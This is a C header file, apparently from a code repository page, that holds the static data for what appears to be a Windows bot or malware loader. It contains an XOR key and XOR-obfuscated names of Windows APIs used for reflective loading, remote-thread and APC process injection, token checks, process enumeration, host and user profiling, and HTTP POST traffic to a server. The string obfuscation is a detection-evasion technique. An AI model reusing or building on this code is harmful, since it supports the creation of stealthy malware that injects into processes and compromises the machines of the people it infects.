-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathStaticData.h
More file actions
102 lines (97 loc) · 8.21 KB
/
Copy pathStaticData.h
File metadata and controls
102 lines (97 loc) · 8.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#pragma once
#include "main.h"
#define MAX_MODULE_SIZE 5*1024*1024
//namespace StaticData{
DWORD botIdbuf;
static const char masterkey[] = "ELLIOTALDERSONTYRELLWELLICK";
static char xorkey2[] = "\x00\x00\x08\x1a\x07\x1d\x16\x05\x0a\x06\x1d\x10\x0e\x14\x11\x17\x06\x17\x0d\x0d\x04\x1f\x09\x1e\x19\x05\x02"; //"ELDSHIWINCOCAZENTRAASZERPFI";
static wchar_t post[] = L"POST";
static wchar_t headers[] = L"Content-Type: application/x-www-form-urlencoded";
static char xorkey[] = "\x15\x0a\x05\x13\x0a\x06\x00\x1f\x10\x17\x13\x09\x0a\x00\x17\x18\x11\x0a\x1b\x05\x19\x16\x04\x05\x0c\x0f\x0f"; //"PFIZERASTRAZENCACOWINSHIELD";
static char C_ReflectiveLoader[] = "\x17\x29\x22\x3f\x2d\x2a\x23\x20\x38\x26\x03\x2c\x20\x3e\x20\x3c"; //"C_ReflectiveLoader";
// DLL names
static char C_Kernel32dll[] = "\x1b\x23\x3b\x34\x20\x3e\x72\x61\x7a\x36\x2d\x36";//"Kernel32.dll";
static char C_User32dll[] = "\x05\x35\x2c\x28\x76\x60\x6f\x37\x38\x3e";
static char C_Shell32dll[] = "\x03\x2e\x2c\x36\x29\x61\x73\x7d\x30\x3e\x2d";
static char C_Ole32dll[] = "Ole32.dll";
static char C_Wininetdll[] = "\x07\x2f\x27\x33\x2b\x37\x35\x7d\x30\x3e\x2d";
static char C_Advapi32dll[] = "\x11\x22\x3f\x3b\x35\x3b\x72\x61\x7a\x36\x2d\x36";
static char C_Wtsapi32dll[] = "\x07\x32\x3a\x3b\x35\x3b\x72\x61\x7a\x36\x2d\x36";
static char C_psapidll[] = "\x20\x35\x28\x2a\x2c\x7c\x25\x3f\x38";
static char C_RtlAllocateHeap[] = "\x17\x38\x28\x12\x24\x25\x38\x2a\x2f\x37\x2a\x0b\x24\x3b\x35";
static char C_RtlFreeHeap[] = "\x17\x38\x28\x15\x3a\x2c\x32\x01\x2b\x22\x3f";
static char C_GetCurrentDirectoryA[] = "\x02\x29\x30\x10\x3d\x3b\x25\x2c\x20\x37\x0b\x2a\x33\x3f\x26\x3a\x3b\x20\x38\x00";//"GetCurrentDirectoryA";
static char C_GetFileAttributesW[] = "\x02\x29\x30\x15\x21\x25\x32\x08\x3a\x37\x3d\x2a\x23\x2f\x31\x2b\x27\x05";
static char C_SetCurrentDirectoryA[] = "\x16\x29\x30\x10\x3d\x3b\x25\x2c\x20\x37\x0b\x2a\x33\x3f\x26\x3a\x3b\x20\x38\x00";
static char C_CreateFileA[] = "\x06\x3e\x21\x32\x3c\x2c\x11\x20\x22\x26\x0e";
static char C_WriteFile[] = "\x12\x3e\x2d\x27\x2d\x0f\x3e\x25\x2b";
static char C_DeleteFileA[] = "\x01\x29\x28\x36\x3c\x2c\x11\x20\x22\x26\x0e";
static char C_GetFileSize[] = "\x02\x29\x30\x15\x21\x25\x32\x1a\x27\x39\x2a";
static char C_CloseHandle[] = "\x06\x20\x2b\x20\x2d\x01\x36\x27\x2a\x2f\x2a";
static char C_FindClose[] = "\x03\x25\x2a\x37\x0b\x25\x38\x3a\x2b";
static char C_ReadFile[] = "\x17\x29\x25\x37\x0e\x20\x3b\x2c";
static char C_CreateMutexA[] = "\x06\x3e\x21\x32\x3c\x2c\x1a\x3c\x3a\x26\x37\x02"; //"CreateMutexA";
static char C_GetLastError[] = "\x02\x29\x30\x1f\x29\x3a\x23\x0c\x3c\x31\x20\x31";
//static char C_ReleaseMutex[] = "ReleaseMutex";
static char C_Sleep[] = "\x16\x20\x21\x36\x38";
static char C_InternetOpenW[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x01\x33\x2a\x2d\x16";
static char C_InternetConnectW[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x0d\x2c\x21\x2d\x24\x39\x31\x19";
static char C_HttpOpenRequestW[] = "\x0d\x38\x30\x23\x07\x39\x32\x27\x1c\x26\x3e\x36\x24\x29\x31\x19";
static char C_InternetCloseHandle[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x0d\x2f\x20\x30\x24\x12\x24\x20\x30\x3e\x24";
static char C_HttpSendRequestW[] = "\x0d\x38\x30\x23\x1b\x2c\x39\x2d\x1c\x26\x3e\x36\x24\x29\x31\x19";
static char C_InternetReadFile[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x1c\x26\x2e\x27\x07\x33\x29\x2b";
static char C_IsWow64Process[] = "\x0c\x3f\x13\x3c\x3f\x7f\x63\x19\x3c\x2c\x2c\x26\x32\x29";
static char C_GetUserNameA[] = "\x02\x29\x30\x06\x3b\x2c\x25\x07\x2f\x2e\x2a\x02";
static char C_GetComputerNameA[] = "\x02\x29\x30\x10\x27\x24\x27\x3c\x3a\x26\x3d\x0d\x20\x37\x20\x0f";
static char C_GetComputerNameExW[] = "\x02\x29\x30\x10\x27\x24\x27\x3c\x3a\x26\x3d\x0d\x20\x37\x20\x0b\x2c\x05";
static char C_GetUserNameW[] = "\x02\x29\x30\x06\x3b\x2c\x25\x07\x2f\x2e\x2a\x14";
static char C_GetForegroundWindow[] = "\x02\x29\x30\x15\x27\x3b\x32\x2e\x3c\x2c\x3a\x2d\x25\x0d\x2c\x20\x30\x3d\x36";
static char C_GetWindowTextA[] = "\x02\x29\x30\x04\x21\x27\x33\x26\x39\x17\x2a\x3b\x35\x1b";
static char C_ShellExecuteA[] = "\x16\x24\x21\x3f\x24\x0c\x2f\x2c\x2d\x36\x3b\x26\x00";
static char C_GetModuleHandleA[] = "\x02\x29\x30\x1e\x27\x2d\x22\x25\x2b\x0b\x2e\x2d\x25\x36\x20\x0f";
static char C_LoadLibraryA[] = "\x09\x23\x25\x37\x04\x20\x35\x3b\x2f\x31\x36\x02";
static char C_VirtualAlloc[] = "\x13\x25\x36\x27\x3d\x28\x3b\x08\x22\x2f\x20\x20";
static char C_VirtualFree[] = "\x13\x25\x36\x27\x3d\x28\x3b\x0f\x3c\x26\x2a";
static char C_CreateThread[] = "\x06\x3e\x21\x32\x3c\x2c\x03\x21\x3c\x26\x2e\x27";
static char C_CreateProcessA[] = "\x06\x3e\x21\x32\x3c\x2c\x07\x3b\x21\x20\x2a\x30\x32\x1b";
static char C_GetProcessHeap[] = "\x02\x29\x30\x03\x3a\x26\x34\x2c\x3d\x30\x07\x26\x20\x2a";
static char C_GetCurrentProcessId[] = "\x02\x29\x30\x10\x3d\x3b\x25\x2c\x20\x37\x1f\x31\x2e\x39\x20\x3d\x27\x1b\x25";
static char C_CreatePipe[] = "\x06\x3e\x21\x32\x3c\x2c\x07\x20\x3e\x26";
static char C_SetHandleInformation[] = "\x16\x29\x30\x1b\x29\x27\x33\x25\x2b\x0a\x21\x25\x2e\x28\x28\x2f\x20\x3b\x2e\x2f";
static char C_OpenProcess[] ="\x0a\x3c\x21\x3d\x18\x3b\x38\x2a\x2b\x30\x3c";
static char C_OpenProcessToken[] = "\x0a\x3c\x21\x3d\x18\x3b\x38\x2a\x2b\x30\x3c\x17\x2e\x31\x20\x20";
static char C_GetTokenInformation[] = "\x02\x29\x30\x07\x27\x22\x32\x27\x07\x2d\x29\x2c\x33\x37\x24\x3a\x3d\x3d\x2f";
static char C_DuplicateToken[] = "\x01\x39\x34\x3f\x21\x2a\x36\x3d\x2b\x17\x20\x28\x24\x34";
static char C_CreateWellKnownSid[] = "\x06\x3e\x21\x32\x3c\x2c\x00\x2c\x22\x2f\x04\x2d\x2e\x2d\x2b\x1d\x3d\x36";
static char C_CheckTokenMembership[] = "\x06\x24\x21\x30\x23\x1d\x38\x22\x2b\x2d\x02\x26\x2c\x38\x20\x3c\x27\x3a\x28\x31";
static char C_VirtualAllocEx[] = "\x13\x25\x36\x27\x3d\x28\x3b\x08\x22\x2f\x20\x20\x04\x22";
static char C_VirtualProtectEx[] = "\x13\x25\x36\x27\x3d\x28\x3b\x19\x3c\x2c\x3b\x26\x22\x2e\x00\x36";
static char C_WriteProcessMemory[] = "\x12\x3e\x2d\x27\x2d\x19\x25\x26\x2d\x26\x3c\x30\x0c\x3f\x28\x21\x26\x2b";
//static char C_GetThreadContext[] = "GetThreadContext";
//static char C_SetThreadContext[] = "SetThreadContext";
static char C_CreateRemoteThread[] = "\x06\x3e\x21\x32\x3c\x2c\x05\x2c\x23\x2c\x3b\x26\x15\x32\x37\x2b\x35\x36";
static char C_ResumeThread[] = "\x17\x29\x37\x26\x25\x2c\x03\x21\x3c\x26\x2e\x27";
static char C_ReadProcessMemory[] = "\x17\x29\x25\x37\x18\x3b\x38\x2a\x2b\x30\x3c\x0e\x24\x37\x2a\x3c\x2d";
static char C_FindFirstFileA[] = "\x03\x25\x2a\x37\x0e\x20\x25\x3a\x3a\x05\x26\x2f\x24\x1b";
static char C_FindNextFileA[] = "\x03\x25\x2a\x37\x06\x2c\x2f\x3d\x08\x2a\x23\x26\x00";
static char C_CopyFileA[] = "\x06\x23\x34\x2a\x0e\x20\x3b\x2c\x0f";
static char C_CreateToolhelp32Snapshot[] = "\x06\x3e\x21\x32\x3c\x2c\x03\x26\x21\x2f\x27\x26\x2d\x2a\x76\x7c\x07\x3c\x20\x31\x20\x32\x2a\x26";
static char C_Process32First[] = "\x15\x3e\x2b\x30\x2d\x3a\x24\x7a\x7c\x05\x26\x31\x32\x2e";
static char C_Process32Next[] = "\x15\x3e\x2b\x30\x2d\x3a\x24\x7a\x7c\x0d\x2a\x3b\x35";
//static char C_WTSEnumerateProcessesA[] = "WTSEnumerateProcessesA";
static char C_SuspendThread[] = "\x16\x39\x37\x23\x2d\x27\x33\x1d\x26\x31\x2a\x22\x25";
//static char C_WTSFreeMemory[] = "WTSFreeMemory";
//static char C_Thread32First[] = "Thread32First";
//static char C_Thread32Next[] = "Thread32Next";
static char C_QueueUserAPC[] = "\x14\x39\x21\x26\x2d\x1c\x24\x2c\x3c\x02\x1f\x00";
static char C_OpenThread[] = "\x0a\x3c\x21\x3d\x1c\x21\x25\x2c\x2f\x27";
//static char C_GetProcessId[] = "\x02\x29\x30\x03\x3a\x26\x34\x2c\x3d\x30\x06\x27";
static char C_FreeSid[] = "\x03\x3e\x21\x36\x1b\x20\x33";
//static char C_UnmapViewOfFile[] = "UnmapViewOfFile";
static char C_WaitForSingleObject[] = "\x12\x2d\x2d\x27\x0e\x26\x25\x1a\x27\x2d\x28\x2f\x24\x15\x27\x24\x31\x31\x35";
static char C_EnumProcessModules[] = "\x00\x22\x31\x3e\x18\x3b\x38\x2a\x2b\x30\x3c\x0e\x2e\x3e\x30\x22\x31\x21";
static char C_GetModuleBaseNameA[] = "\x02\x29\x30\x1e\x27\x2d\x22\x25\x2b\x01\x2e\x30\x24\x14\x24\x23\x31\x13";
static char C_ExitProcess[] = "\x00\x34\x2d\x27\x18\x3b\x38\x2a\x2b\x30\x3c";
static char C_InternetSetOptionW[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x1d\x26\x3b\x0c\x31\x2e\x2c\x21\x3a\x05";
static char C_InternetQueryDataAvailable[] = "\x0c\x22\x30\x36\x3a\x27\x32\x3d\x1f\x36\x2a\x31\x38\x1e\x24\x3a\x35\x13\x37\x20\x3a\x36\x24\x30\x3c\x23";
//}